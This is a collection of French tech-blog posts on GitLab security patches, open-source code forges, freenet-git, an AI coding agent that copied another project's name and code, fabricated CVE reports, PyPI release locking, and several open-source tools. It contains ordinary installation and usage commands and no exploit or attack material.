GitLab - Encore une faille CVSS 10 #FautPatcher

Hier, GitLab a publié en urgence les versions 19.4.2, 19.3.5 et 19.2.8 pour corriger une faille un peu chaude avec un score CVSS de 10 sur 10 . Référencée sous le code CVE-2026-97229, elle permet à quelqu'un sans compte user d'exécuter du code sur le serveur en glissant tout simplement une expression régulière piégée dans une configuration CI/CD.

GitLab précise que cela ne peut se faire que "sous certaines conditions" sans préciser lesquelles, et il ne dit pas non plus comment un inconnu pourrait faire lire sa config CI forgée par une instance. Gitlab mentionne une histoire de dépassement d'entier dans le compilateur de regex du CI/CD et d'une validation insuffisante des expressions mais on n'a pas les détails techniques qui sortiront dans environ 90 jours. C'est habituel pour laisser le temps à tout le monde de patcher.

Ces dernières semaines, ça enchaine fort ( un peu comme Citrix ) avec fin septembre, la 19.4.1 qui corrigeait déjà deux autres faille sur le même terrain : CVE-2026-93577, pour un dépassement d'entier dans le compilateur, et CVE-2026-89078, pour un double free dans l'analyseur de regex. Notées 9,9 toutes les deux et signalées par le même chercheur (joaxcar), mais celles-là exigeaient au moins un compte. Et la troisième faille (la CVE-2026-85706) découverte aussi courant septembre, était quand a elle aussi notée 10 sur 10 et permettait de lire les fichiers présents sur le serveur sans avoir de compte.

Alors qui est concerné ?

Hé bien toutes les instances auto-hébergées en 19.2 avant la 19.2.8, en 19.3 avant la 19.3.5 et en 19.4 avant la 19.4.2. Une 19.4.1 installée fin septembre n'est donc pas à l'abri. Le service GitLab.com en lui-même est déjà à jour et les clients serveur dédié n'ont rien à faire. Mais pour les autres, l'alerte de sécurité ne mentionne aucun contournement / fix. Faut juste mettre à jour et basta.

Sur une instance mono-nœud, prévoyez donc une coupure, parce que ce correctif embarque des migrations de base qui exigeront un reboot.

Voilà, maintenant que vous êtes au jus, c'est le moment de patcher !!

Source : BleepingComputer .

La Forge - Le GitLab public des profs codeurs

Je ne sais pas si vous êtes déjà tombé dessus, mais le ministère de l'Éducation nationale fait tourner son propre GitLab depuis un petit moment maintenant, il est public, et il s'appelle La Forge des communs numériques éducatifs . Au moment où j'écris ces lignes, il y a dessus 12 896 projets et 15 638 membres dans ce qu'ils appellent "l'atelier".

Alors c'est quoi cette dinguerie comme disent les anciens ? Hé bien derrière, c'est du GitLab CE, infogéré par le pôle de compétences Logiciels Libres (oui, ça existe, et c'est un vrai service de l'Éducation nationale), et classé dans les services partagés d' apps.education.fr .

Les 595 ressources de la ressourcerie, avec les étiquettes de niveau et de discipline sous chaque fiche

Et le plus beau c'est que pour aller fouiller dedans, vous n'avez besoin de rien du tout puisque les dépôts publics s'ouvrent via le navigateur, sans authentification.

Bien sûr, cette grosse dizaine de milliers de dépôts de code bruts, ça ne se visite pas comme ça. Il y a donc une vitrine, nommée la ressourcerie , qui en met en avant un peu moins de 600, triées par niveau, par discipline et par tag et pour la plupart, testables en ligne.

Par contre, pousser du code est un poil plus encadré. Pour cela, le personnel du ministère doivent avec leur compte Apps, et tous les autres, profs retraités, universitaires, Inria, boîtes de l'EdTech, associations, et j'en passe, passent par un second annuaire avec validation préalable.

Donc non, vous ne pourrez pas y déposer votre side-project éducatif du week-end, mais si votre truc sert vraiment à des profs, la porte n'est pas fermée...

Là-dessus l'Éducation nationale n'est pas toute seule, puisque les Pays-Bas ont également monté leur forge de code , où une cinquantaine d'administrations et de communes publient déjà.

Et l'IA là-dedans ?

Hé bien c'est complètement décomplexée et tant mieux ! Le catalogue a 7 tags officiels rien que pour ça, de "IA chatbot" à "IA prompt" en passant par "IA LLM souverain", et 48 fiches en font partie. Ce n'est donc pas la majorité du catalogue, mais il y a quand même un projet nommé EduVaibe dont le boulot est de "générer, étape par étape, un prompt complet à coller dans une IA pour créer des applications numériques éducatives".

Le truc le plus utile du lot, je trouve, même quand on n'a aucune classe à gérer, c'est ChatMD . Vous forkez le dépôt, vous remplacez le contenu d'index.md par vos propres réponses écrites en Markdown, et votre agent conversationnel bien à vous est ensuite accessible à partir d'une simple URL. Le tout est sous licence MIT bien sûr !

Maintenant derrière une bonne partie de ces dépôts, il y a un prof tout seul qui bricole sur son temps libre, et malheureusement, le jour où il abandonne, le projet s'arrête. Mais la bonne nouvelle c'est que la Forge rétribue chaque année quelques profs pour justement les soutenir dans leurs projet.

C'est maigre à l'échelle d'un ministère, je vous l'accorde, mais c'est quand même mieux que rien. Voilà, en attendant, je vous invite à y faire un tour ! Vous y trouverez peut-être des choses intéressantes.

Merci à Sylvain Bruyère pour le lien !

GitLab - la faille qui a fait rouvrir une version morte

GitLab a sorti hier (lundi 17 août), un correctif d'urgence , complètement en dehors de son calendrier habituel, pour une faille qui permet à quelqu'un sans compte ni mot de passe de modifier ou de supprimer vos projets publics et des données utilisateur. Hé ouais c'est chaud et c'est pour ça que son score CVSS est de 9,4 sur 10.

5 jours plus tôt, le 12 août, GitLab publiait son patch de routine pour la 19.2, 19.1 et 19.0. C'est un périmètre normal puisque sa politique de maintenance ne couvre que la version stable et les deux précédentes. Mais comme là, on est dans l'exceptionnel, ce correctif du 17 août en couvre une quatrième, la 18.11, dont le support avait pris fin le 16 juillet dernier. Ils sont allés rouvrir une branche morte juste pour patcher ce GROS problème !

La faille elle-même, on n'en sait presque rien par contre. Estampillée CVE-2026-19478, c'est une histoire de directive GraphQL, mais GitLab ne dit ni laquelle, ni dans quelles conditions ça se déclenche. Les détails techniques sortiront vers la mi-novembre, c'est-à-dire 90 jours après le correctif, comme d'habitude, histoire d'être sûr que tout le monde ait patché son install.

Maintenant, la bonne nouvelle c'est que si vous êtes sur GitLab.com ou sa version Dedicated , vous n'avez rien à faire, puisque c'est déjà patché. En fait cette histoire ne concerne que les instances auto-hébergées.

Et parmi elles, tout le monde n'est pas impacté de la même manière. En effet, le vecteur d'attaque passe par le réseau et vise les projets publics. Cela veut dire que votre instance planquée derrière un VPN, sans visibilité publique, risque beaucoup moins que celle qui expose ses dépôts à Internet.

Ensuite, pour la mise à jour, ça dépend d'où vous partez. Entre la 18.2 et la 18.10, aucun correctif n'existe sur votre branche. Il faudra upgrader jusqu'à la 18.11.11, en vous arrêtant aux paliers de 18.5 et 18.8 s'ils sont sur votre route.

Si vous tournez déjà en 18.11, prenez la 18.11.11. Sur une 19, c'est 19.0.8, 19.1.6 ou 19.2.4. Et plus ancien que 18.2 ? Bah là, GitLab ne liste pas ces versions parmi les affectées, mais elles ne reçoivent plus de correctif depuis un bon moment, donc ce serait bien de mettre à jour quand même, hein...

Pour le moment, personne n'a signalé d'attaque et aucun exploit ou PoC n'a fait surface sur GitHub. Ça ne veut pas dire grand-chose, je vous l'accorde mais on se rassure comme on peut...

Allez, bon courage !

Source : The Hacker News

Freenet-git - Le dépôt Git sans serveur

Depuis ce printemps, sachez qu'un git clone ordinaire peut maintenant récupérer un dépôt qui n'existe sur aucun serveur spécifique. En fait, le code est stocké dans Freenet, le réseau pair-à-pair qu'Ian Clarke a relancé en mars. Et comme y'a plus d'hébergeur, bah y'a plus personne pour fermer un compte ou shooter le dépôt.

Car Git est décentralisé depuis toujours et fonctionne très bien comme ça, puisque chaque clone contient l'historique complet, ce qui permet à 2 clones de se synchroniser directement. Ce qui lui manquait par contre, c'était l'hébergement, et c'est là-dessus que les forges que nous connaissons, Github en tête, sont venues capitaliser. Y'a bien des initiatives comme Grasp qui essaie d'en sortir grâce au protocole Nostr mais freenet-git lui range carrément le dépôt dans un contrat que les nœuds recopient, et se publie lui-même à l'adresse freenet::99TmCayXn6Tm/freenet-git.

Cloner ou publier du code exige donc le paquet freenet-git et un nœud qui tourne sur votre machine, ce qui fait qu'on ne supprime pas vraiment le serveur, mais on le ramène juste chez soi.

Charger la vidéo depuis YouTube Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Le socle compte plus que l'application dans cette présentation. Les contrats et les delegates forment la couche où une app tourne sans backend, et quatre tournent déjà dessus : River pour le chat de groupe, Delta pour les sites, Atlas pour la recherche, et freenet-git pour le code. Mail, Raven et Harvest existent aussi, à un stade plus jeune.

L'adresse du dépôt sort des 12 premiers caractères de la clé publique de son propriétaire, et à ce stade expérimental, lui seul peut pousser dedans. Y'a pas non plus de pull requests, ni d'issues puisque c'est le modèle du noyau Linux d'avant les forges, où chacun publie son clone et le mainteneur vient y piocher ce qui l'intéresse.

Reste le plus dur maintenant, retrouver un dépôt.

Car sans annuaire, un nœud doit deviner lequel de ses voisins mettra le moins de temps à trouver ce qu'on lui demande. Le réseau traite ça comme un problème d'apprentissage et parie sur le bon voisin à partir des requêtes passées grâce à Renegade, une bibliothèque open source sortie en 2021, capable de faire ce calcul.

Installer freenet-git

Il faut une chaîne Rust, et ~/.cargo/bin doit être dans votre PATH. Les installeurs du nœud sont sur freenet.org/quickstart.

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh

Rust n'entre dans le PATH qu'au shell suivant, donc ouvrez un nouveau terminal avant la commande d'après. Elle dépose deux binaires, freenet-git et le remote helper que Git appellera tout seul.

cargo install freenet-git

Cloner un dépôt qui existe déjà

Aucune identité n'est nécessaire pour lire. La bibliothèque standard de Freenet fait un bon test, elle porte son historique complet et ses tags.

git clone freenet::96rknpy1GYhZ/freenet-stdlib

Publier le vôtre

C'est create qui publie réellement le contrat. Il affiche PUT confirmed by host et l'adresse du dépôt, dont le préfixe se recopie dans le remote. La phrase de passe voyage par une variable d'environnement parce que Git garde la main sur l'entrée standard durant le push.

freenet-git init-identity --name "Votre Nom" --email vous@example.com
cd ~/code/mon-projet
freenet-git create --name mon-projet
# -> URL: freenet:VOTRE_PREFIXE/mon-projet
git remote add freenet freenet::VOTRE_PREFIXE/mon-projet
export FREENET_GIT_PASSPHRASE='votre-phrase-de-passe'
git push freenet main

Et voilà ! Avec ça vous pouvez faire du vrai git décentralisé même si la vraie limite est ailleurs...

En effet, les nœuds gardent en cache ce qu'on leur réclame et évacuent le reste, donc un dépôt que personne ne clone finit au bout d'un moment par ne plus être clonable. Et ça c'est dommage... C'est pourquoi une commande (rescue), le remet en circulation depuis une machine qui a encore les données. Le projet ne présente toutefois pas ça comme un bug, mais comme son modèle de durabilité actuel.

Mais autant le savoir avant d'y déposer votre code.

Source

Coder avec l'IA sans pomper le projet d'un autre ?

Dark Hours est à l'origine une petite web app qui vous dit ce qu'il y a à voir dans le ciel ce soir et si ça vaut le coup de mettre le museau dehors. Le développeur Terry Godier l'a construite avec l'aide de Claude et lancée début août mais au moment où j'écris ces lignes, elle n'existe plus... En effet, son site darkhours.io redirige maintenant vers DarkHours.app , un autre projet signé Miguel Beher et sous licence MIT.

C'est ce dernier qui a vu le problème, et je vais vous expliquer...

En fait, les 2 apps avaient non seulement le même nom, mais également les mêmes fonctions, et le même nom de domaine (à part le TLD). Quand Beher a signalé le souci à Godier , ce dernier a d'abord proposé de changer de nom et de différencier les fonctionnalités mais une heure plus tard il retirait tout, annulait l'app iOS qu'il préparait, et publiait un mea culpa où il parle de son "usage irresponsable de l'IA".

Et ce qui l'a décidé à tout stopper comme ça, c'est juste un bug. En effet, son application envoyait les gens observer les étoiles au milieu de champs perdus au Mexique, ou dans l'océan Pacifique et Beher avait exactement le même souci de son côté à ce moment-là (il l'a résolu depuis).

Alors se ressembler sur des fonctionnalités, ça arrive et ça ne me choque pas mais se ressembler jusque dans les bugs, là ça pique un peu beaucoup. Les procès en pompage IA, j'en ai déjà parlé , et ils se trompent souvent de coupable, et dans le cas de Godier, celui-ci n'a pas pompé le code du Dark Hours original. Non, il a juste développé son app avec Claude Code, sans se poser trop de question.

Pour lui, il est juste parti d'un code d'éphémérides qu'il a écrit en janvier mais comme Dark Hours est un projet open source, et bien ce qui s'est passé, c'est que son agent IA a récupéré de gros bouts de cette app, jusqu'à son nom pour en faire sa nouvelle app. Hé oui, la vie c'est facile quand on se repose sur le code des autres.

Dark Hours, le vrai

En effet, Claude Code, Codex et les autres sont des outils connectés. Ils lisent des pages, clonent des dépôts, fouillent GitHub quand ça les arrange, du coup, si votre demande ressemble à un truc qui existe déjà, et bien l'agent peut aller le consulter et s'en servir de modèle. Et même sans aller sur le net, comme les modèles ont été entraînés sur tout ce qui traîne publiquement sur le net, dépôts de code compris, il est capable de restituer une structure vue mille fois, sans même aller la chercher sur le net. Un peu comme les modèles de diffusion d'images qui reproduisent le style des artistes.

C'est pour ça que je trouve la mésaventure de Godier et Beher intéressante. Ça nous enseigne qu'il faut faire extrêmement attention quand on code avec l'IA. Pour limiter les risques qu'elle aille se servir dans du code libre, il faut donc indiquer expressément à l'agent de NE PAS récupérer le code source de projets open source, ne pas l'analyser, ne pas pomper du code ni les interfaces. Bref, lui dire qu'on part d'une page blanche...

C'est le même principe que celui de la clean room qui a permis à Compaq de cloner légalement le BIOS d'IBM, comme on peut le voir dans la série Halt and Catch Fire... On implémente les bonnes idées, mais jamais les lignes de code.

Charger la vidéo depuis YouTube Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Pour ma part, je fais quasiment que des outils internes et des bidules perso, mais je le précise quand même pour que tout soit clean. Toutefois, ça ne règle pas le problème de l'entraînement qui a été fait en amont pour forger le modèle IA.

Donc avant de coder, deux réflexes à avoir : 1/ Chercher le nom de votre app (ou de votre nouvelle entreprise) pour de vrai, ce qui vous évitera de vous lancer dans un move de contrefaçon sans le savoir. Et 2/ Installer tout ce qui existe dans le même genre pour être sûr de ne pas vous faire berner par l'IA... Sachez que rien que cette année, j'ai été victime moi-même 2 fois, de gens qui n'ont pas pris ces précautions et qui se sont attribués les noms de mes projets pour leurs propres trucs en se reposant, je le suppose, uniquement sur l'IA sans se poser la moindre question. Pour l'un des projets, VoxDrop, j'ai changé le nom en Kassis pour pas me prendre le chou car c'était un projet jeune. Mais pour l'autre problème, c'est plus épineux et je ne peux pas vous en parler encore mais rassurez-vous, dès que je le pourrais, vous ferai un article qui détaillera tout en détail pour vous raconter cette histoire hallucinante qui m'arrive.

Après, ce que je vous conseille de faire aussi c'est qu'une fois que votre projet est fini, pensez à lancer une phase de contrôle. Ça personne ne le fait, mais c'est pas mal de récupérer le code des projets qui vous ont inspiré ou projet concurrents, de le poser à côté du vôtre et faire vous-même ou demander à un agent IA une comparaison, un peu comme la passe sécurité que vous faites en fin de projet.

Reprendre une fonctionnalité qu'on trouve bien ailleurs et la réimplémenter dans son projet, c'est normal et c'est ce que tout le monde fait d'ailleurs. Mais reprendre le nom, le look de l'interface et le code, qui plus est, sans mentionner la licence, c'est vraiment moche. Et c'est exactement ce que peut faire votre agent IA dans votre dos, alors soyez vigilant parce qu'après, vous pourrez dire que vous ne le saviez pas, tout le monde vous traitera de voleur. La frontière est là, et il n'y a qu'une comparaison explicite du code et de l'interface qui vous dira de quel côté vous êtes tombé...

Source

54 des 55 failles de sécurité déposées par ce compte GitHub n'existaient pas

JFrog, une société spécialisée dans la sécurité de la chaîne logicielle, a passé au crible les 55 vulnérabilités déposées par un seul compte GitHub. Cinquante-quatre étaient entièrement fabriquées, une seule décrivait un vrai bug.

Six d'entre elles visaient SQLite, la petite base de données embarquée qu'on retrouve dans à peu près tous les téléphones et navigateurs de la planète, avec des scores de gravité affichés jusqu'à 9,8 sur 10. Les quarante-neuf autres s'en prenaient à libraw, une bibliothèque de traitement d'images, et à un module audio pour cartes ESP32.

Les rapports ne résistent pas à une vérification. L'un s'appuie sur une fonction qui n'existe pas dans la version de SQLite qu'il prétend attaquer. Un autre cite les lignes 3555 et 3575 d'un fichier qui n'en compte que 2706.

Ces failles n'ont été bloquées à aucune étape. Elles ont atterri dans le NVD, la base de référence américaine des vulnérabilités, avec un enrichissement fourni par la CISA, l'agence fédérale de cybersécurité, qui a validé les scores critiques au passage. Red Hat a dû redescendre l'une d'elles de 10 sur 10 à 7,6.

Le formulaire public par lequel on déclare une faille ne vérifie pas sérieusement l'identité du déclarant. Aucune étape du processus n'exige de preuve de concept ni la moindre reproduction du bug. Un texte plausible suffit.

Le reste est automatique. La fiche descend dans les bases dérivées, puis dans les scanners que les entreprises font tourner sur leur propre code, et une équipe finit par chercher un correctif à un problème qui n'a jamais existé. MITRE, l'organisme qui attribue ces identifiants, a rejeté le lot le 1er août.

Le NIST, chargé d'analyser ces fiches, avait déjà plus de 27 000 vulnérabilités en attente fin 2025, et un rapport officiel de mai dernier lui reprochait un manque de planification et de décision.

Les mainteneurs de logiciels libres décrochent. Le projet curl a fermé son programme de primes début 2026, après sept ans, son taux de rapports confirmés étant passé de 15 % à moins de 5 % sous le déluge de textes générés par IA.

Daniel Stenberg, qui le maintient, a ensuite fermé le guichet aux signalements du 1er juillet au 3 août. Bref, ce qui faisait tenir le système, c'est que fabriquer un faux rapport crédible demandait du temps à quelqu'un.

Source et visuel : The Register et JFROG

GitWand - Il trie vos conflits Git et vous montre pourquoi

perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^.

Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des conflits avec Git et vous laisse gérer le reste.

Gitwand, c'est donc un client Git open source, sous licence MIT, qui classe chaque bloc conflictuel selon des règles fixes et ne résout automatiquement que ceux dont le résultat ne fait aucun doute.

Pour cela, il dispose de plusieurs patterns déterministes :

• same_change, c'est quand les deux branches ont écrit exactement la même chose.
• whitespace_only ne voit qu'une indentation qui a bougé,
• reorder_only les mêmes lignes remises dans un autre ordre.
• Un numéro de version qui change, lui, tombe dans value_only_change.
• Et puis il y a complex, le fourre-tout des modifications qui se chevauchent pour de vrai. Celle-là n'est jamais tranchée toute seule.
• git rerere rejoue les résolutions que vous avez déjà tranchées à la main,
• et Mergiraf se branche directement dans git merge pour arbitrer en lisant l'arbre syntaxique de votre code.

Ce qui change ici, c'est que chaque décision est justifiée. En effet, chaque bloc reçoit un score de confiance ainsi qu'une trace qui nomme le motif retenu ligne par ligne.

Par exemple, si une branche écrit const theme = 'dark', et l'autre const theme = localStorage.getItem('theme') ?? 'dark', hé bien l'outil garde la seconde, étiquette sa décision prefer-theirs, et affiche 97 % de confiance à côté.

Sur la page d'accueil, l'outil annonce 95 % des conflits triviaux résolus automatiquement. Le moteur est aussi exposé aux agents IA via un serveur MCP, ce protocole qui branche des outils externes sur des assistants comme Claude Code ou Cursor. L'installation se fait comme ceci : claude mcp add gitwand -- npx -y @gitwand/mcp.

L'agent réclame un aperçu, récupère les blocs déjà réglés, et ne garde que les cas ambigus, avec les trois versions du code sous les yeux. Le modèle ne touche qu'à ce qu'aucune règle ne sait faire, soit l'inverse de ce qu'on voit d'habitude.

Le projet est jeune et ça se voit. Mais ça vaut le coup d'essayer parce que je pense que ça peut rendre de nombreux services. L'app existe pour macOS, Linux et Windows, l'interface est traduite en français, et elle se double d'une ligne de commande (npm i -g @gitwand/cli) et d'une extension VS Code.

Si l'interface graphique vous tente, je vous avais montré Gittyup dans le même registre, et pour les irréductibles du terminal j'avais présenté Lazygit .

À vous maintenant de commencer par gitwand resolve --dry-run --verbose pour voir "à blanc" ce qu'il trouve et comment il aurait tranché pour le merge.

Merci à Laurent pour le lien !

Source

L'Inde coupe internet, puis exige le retrait du code de bitchat

Le 23 juillet à 23h16 précisément, GitHub reçoit une notice du ministère de l'Intérieur indien avec un compte à rebours de seulement 3 heures. Ce qu'exige cette notice c'est de faire disparaître 3 dépôts de code, et pas n'importe lesquels. Ceux de bitchat , la messagerie Bluetooth de Jack Dorsey qui fonctionne sans le moindre réseau.

Trois jours plus tôt, le 20 juillet, des étudiants du Cockroach Janata Party manifestent à Jantar Mantar, en plein centre de Delhi, et réclament la démission du ministre de l'Éducation.

La police disperse leur marche à la matraque et au gaz lacrymogène, ferme des stations de métro et coupe l'internet mobile autour du site. Alors au bout de 2 jours de coupure, les manifestants basculent sur des applis qui n'en ont pas besoin.

Bitchat, sorti l'été dernier, fait exactement ça. Chaque téléphone discute en Bluetooth Low Energy avec ceux qui sont à sa portée, soit une trentaine de mètres, et relaie les messages de proche en proche. Dans une foule dense, la chaîne de relais pousse alors la portée à 300 mètres et plus.

Aucun compte à créer et aucun numéro de téléphone à fournir. Il n'y a pas non plus de serveur central, et les messages privés passent par du chiffrement Noise Protocol. Puis quand le réseau revient, l'application bascule sur le protocole Nostr pour la portée mondiale.

Le code iOS de Bitchat est dans le domaine public, tout comme la version Android en GPL-3.0. Dorsey avait d'ailleurs ressorti la même boîte à outils il y a quelques jours avec Buzz, son chat d'équipe .

L'application, dit la notice de l'Indian Cybercrime Coordination Centre, "permet la communication même pendant des restrictions réseau" et crée "un risque substantiel d'utilisation abusive par des éléments antinationaux, des organisations terroristes, des groupes criminels organisés". Plus loin, on lui reproche une architecture qui entrave "l'interception légale, l'attribution et l'enquête". En clair, le reproche c'est de continuer à marcher quand l'État a coupé le net.

Côté droit, l'ordre s'appuie sur la Section 79(3)(b) de l'IT Act et la Rule 3(1)(d) des IT Rules, c'est-à-dire les articles en Inde qui protègent les hébergeurs de la responsabilité des contenus publiés par leurs utilisateurs.

Les infractions listées, elles, vont de l'accès non autorisé à un système informatique à la complicité, plus trois articles du nouveau code pénal indien sur le complot criminel et l'atteinte à l'unité nationale. Oui, oui, pour un dépôt de code... Bien sûr, l'Internet Freedom Foundation qualifie la manœuvre d'"inconstitutionnelle et autoritaire" et lui reproche de court-circuiter la procédure de blocage officielle. Certes, la Section 79 conditionne une immunité, mais elle n'ouvre absolument pas un droit de censure, puis surtout, cette notice ne désigne aucun message ni aucun fichier illicite précis mais vise le projet entier. Bref, c'est trop vague !

Et même si les rêves les plus humides du gouvernement indien se réalisaient, retirer un dépôt ne retire pas grand-chose. Si vous avez déjà l'app sur votre téléphone, elle y reste, et un maillage qui ne dépend d'aucun serveur continue de faire circuler les messages quoi qu'il arrive à la page GitHub.

MediaNama écrit que GitHub a obtempéré et retiré les liens de sa plateforme. Comme j'y ai encore accès, je pense que ça ne concerne que l'Inde et que Github a fait ça en mode géoblocage. Mais bon, peu importe, ça + l'effet Streisand, dans les heures qui ont suivi la notice, le code était de toute façon recopié sur d'autres sites. Il est sous licence libre, donc il peut être forké dans tous les sens.

En tout cas, ce n'est pas la première fois que cette messagerie sert de plan B à la population puisqu'au Népal, en septembre 2025, elle a été téléchargée près de 49 000 fois en une seule journée durant les manifestations Gen Z, soit près de 40 % de son adoption mondiale sur ce seul pays. Couper le réseau pour calmer une foule, l'Égypte avait déjà essayé en janvier 2011 , la Syrie quelques mois plus tard et on le sait, ça ne fonctionne pas.

Source

PyPI verrouille vos vieilles releases contre les tokens volés

Bonne nouvelle pour tous ceux qui balancent du code sur PyPI. L'index officiel des paquets Python refuse désormais tout nouveau fichier ajouté à une release qui a plus de 14 jours. Le correctif vient de Seth Larson, développeur sécurité en résidence à la Python Software Foundation, et il colmate un trou que personne n'avait encore exploité sur PyPI... mais qui traînait là, grand ouvert.

Jusqu'ici, un mainteneur pouvait ajouter un fichier à n'importe quelle release, même sortie il y a 3 ans. Pratique pour livrer une nouvelle wheel, dangereux si un token de publication se fait voler. Un attaquant avec vos clés pouvait glisser un binaire vérolé dans une version stable que tout le monde télécharge depuis des lustres, sans déclencher la moindre alerte. Larson le dit sans détour : si ça n'a pas encore été abusé, c'est juste que les pirates n'avaient pas réalisé que c'était possible.

Le déclencheur, c'est l'affaire LiteLLM et Telnyx, deux paquets populaires compromis en mars dernier via une "référence mutable" dans leur usage de la GitHub Action Trivy. Encore une compromission de la chaîne d'appro, dans la lignée de Shai-Hulud sur npm dont je vous ai déjà parlé avec son scanner dédié , même si le mécanisme n'est pas le même. Le sujet mijotait depuis janvier 2024 dans les discussions autour de PEP 740, sauf qu'il coinçait sur un cas d'usage bien réel. En effet, certains projets ajoutent le support d'une nouvelle version de Python, genre les wheels cp314 pour Python 3.14, à d'anciennes releases longtemps après leur sortie.

Sauf que les chiffres ont tranché. En interrogeant la base PyPI sur les 15 000 paquets les plus populaires, seuls 56 avaient publié une wheel compatible 3.14 plus de 14 jours après une release. 56 sur 15 000, autant dire une poignée. Mike Fiedler, l'ingénieur sécurité de PyPI, a donc porté le débat au Packaging Summit de la PyCon US 2026, et le consensus est tombé. Il est maintenant demandé à ces projets de bumper vers une nouvelle version.

Après ne prenez pas cette nouvelle mesure de sécurité comme une garantie. Il n'existe aucune API pour vérifier qu'une release est "fermée", et les vraies règles du jeu ne seront gravées dans le marbre qu'avec l'API Upload 2.0 et les Staged Previews prévus par PEP 694. Donc pour l'instant, c'est un verrou qui protège, mais pas un vrai contrat de confiance sur lequel bâtir (De quoi Darty ??).

N'empêche que le bénéfice est immédiat car ça fait moins de ménage pour les admins PyPI quand un projet se fait trouer, et s'en est fini de l'état schizophrène où une release est à moitié compromise, à moitié saine, avec quelques fichiers vérolés planqués au milieu. Une vieille release devient un bloc figé, et voilà !

GitHub avait déjà dégainé la même idée avec ses releases immuables , qui rendent vos versions intouchables même par le mainteneur du projet.

Bref, une porte de moins pour les attaquants supply chain. Sympa non ?

Source (repéré chez Simon Willison)

Reviewer des patches git par mail sans quitter Thunderbird

Marc Coquand avait très envie d'embarquer son équipe dans un nouveau genre de workflow Git à base d'emails et c'est pour ça qu'il a créé thunderbird-patch-review .

Il s'agit d'une extension pour Thunderbird qui, lorsque vous ouvrez un mail qui contient une série de patchs, vous propose un bouton "Review" vous permettant d'accéder à une interface de relecture Git qui va vous être très familière, vous allez voir.

Ensuite, si la série des patchs vous convient, vous pouvez tous les approuver directement sur votre dépôt local avec la commande git-am sans jamais avoir à quitter votre client mail.

Pour lancer Git, l'extension utilise une API expérimentale maison qui embarque tout le nécessaire dans son paquet sans host de messagerie native à installer séparément. Ça fait un truc en moins à configurer et l'addon vérifie que tout est OK dans un worktree jetable, avant de valider la review.

Comme ça, s'il y a un conflit, le bouton Apply se grise et les erreurs remontent dans l'interface pour que vous puissiez toutes les revoir une par une et faire un retour propre à l'auteur.

Cet add-on a été vibe-codé avec GLM 5.2 et construit pour répondre aux besoins de son équipe. Il hésitait sincèrement à le partager parce que le monde n'est pas encore prêt pour le Vibe Coding, mais il explique sur son site qu'il y avait un sérieux manque d'outils dans l'écosystème pour pouvoir travailler sur des revues de patch directement dans son client mail.

Donc tant pis, yolo, il l'a publié quand même et je pense que ça devrait vous intéresser. Comme quoi faire bosser un agent pour soi n'oblige pas à le planquer.

Maintenant, les patches qui arrivent en pièce jointe ne sont pas encore gérés, les mails en HTML seul non plus, et la collecte d'une série ne cherche que dans le dossier du message ouvert. De plus, l'add-on n'est pas encore publié sur le store Thunderbird, donc vous devrez le packager vous-même en .xpi depuis la racine du projet :

git clone git://mccd.space/thunderbird-patch-review

cd extension && zip -qrX ../patch-review.xpi .

Ensuite, vous chargez le fichier obtenu via le menu engrenage du gestionnaire de modules complémentaires (Installer un module depuis un fichier) et c'est réglé ! Rien de méchant si vous avez déjà bidouillé des extensions Thunderbird, genre Send Later pour planifier vos envois dont je vous parlais il y a un petit moment maintenant.

Voilà, si vous faites déjà du git par email, ça vaut le détour. Le code est en EUPL 1.2, et tout se passe ensuite sur la mailing list de Marc.

Source

OpenLogi - Votre souris Logitech sans le bloatware d'Options+

Logitech Options+, vous connaissez ce délire, je pense... Pour régler 3 boutons de souris, on vous pousse à créer un compte, à partager vos data, et à laisser une usine à gaz tourner H24 en tâche de fond. Le dev AprilNEA en a eu marre, du coup il a écrit OpenLogi en Rust et son truc fait le même boulot côté réglages, mais sans rien envoyer chez Logitech.

Si vous me lisez régulièrement, ça devrait vous rappeler Mouser , dont je vous parlais en mars dernier. C'est la même philosophie, sauf que Mouser restait coincé, à l'époque, sur la MX Master 3S en Bluetooth uniquement, sans SmartShift et sans Linux. OpenLogi reprend donc le flambeau et va beaucoup plus loin.

Alors, qu'est-ce que vous pouvez faire avec ?

Hé bien d'abord remapper vos boutons (41 actions prêtes à l'emploi, quand même), régler le DPI, activer le SmartShift, ce fameux défilement en roue libre. Vous pouvez aussi créer des profils qui basculent tout seuls selon l'appli active. Et tout ça cause directement avec le protocole HID++ de Logitech à votre MX Master , sans jamais lancer le pilote maison.

Peu importe comment la bête est branchée d'ailleurs, récepteur Bolt, clé Unifying, Bluetooth ou un bon vieux câble, les quatre passent ! Toute votre config ensuite se trouve dans un simple fichier TOML posé en local, que vous pouvez versionner dans un Git si ça vous chante. L'outil dispose d'une interface graphique, mais vous pouvez également l'utiliser en ligne de commande.

Pour l'installer sous macOS, c'est facile, il suffit de faire un brew install --cask openlogi et voilà ! Quant à Linux, vous avez des paquets .deb et .rpm. Notez que ça tourne aussi sous Windows, mais uniquement en beta.

OpenLogi est compatible avec les MX Master 4, 3S et 3, MX Anywhere 3, Signature M650, Ergo M575 et le code est libre sous double licence Apache 2.0 et MIT au choix.

Voilà, si Options+ vous gonfle de fou, OpenLogi mérite sans doute un petit test de votre part. C'est par ici , et le code est sur GitHub .

Vous m'en direz des nouvelles !

EVE Online - 30 dépôts MIT sur GitHub, dont un qui ne compile pas

8 825 joueurs qui se canardent au même endroit, sur un seul serveur, pendant 14 heures. C'était en 2020 dans le système FWST-8 d'EVE Online, et le moteur qui a encaissé ça s'appelle Carbon. Et si je vous cause de ça c'est parce que Fenris Creations (le studio du jeu, ex-CCP Games) vient de le poser sur GitHub , en licence MIT, gratuit !

Au fil des mois, ils ont ainsi mis en ligne 33 dépôts à cloner, dont 30 sous licence MIT. Vous y trouvez Trinity, le moteur de rendu, Destiny , qui simule la physique et calcule les trajectoires de vos vaisseaux, et même une bibliothèque C++ dédiée au calcul d'itinéraire sur la carte du jeu. Du code qui tourne en production depuis 20 ans.

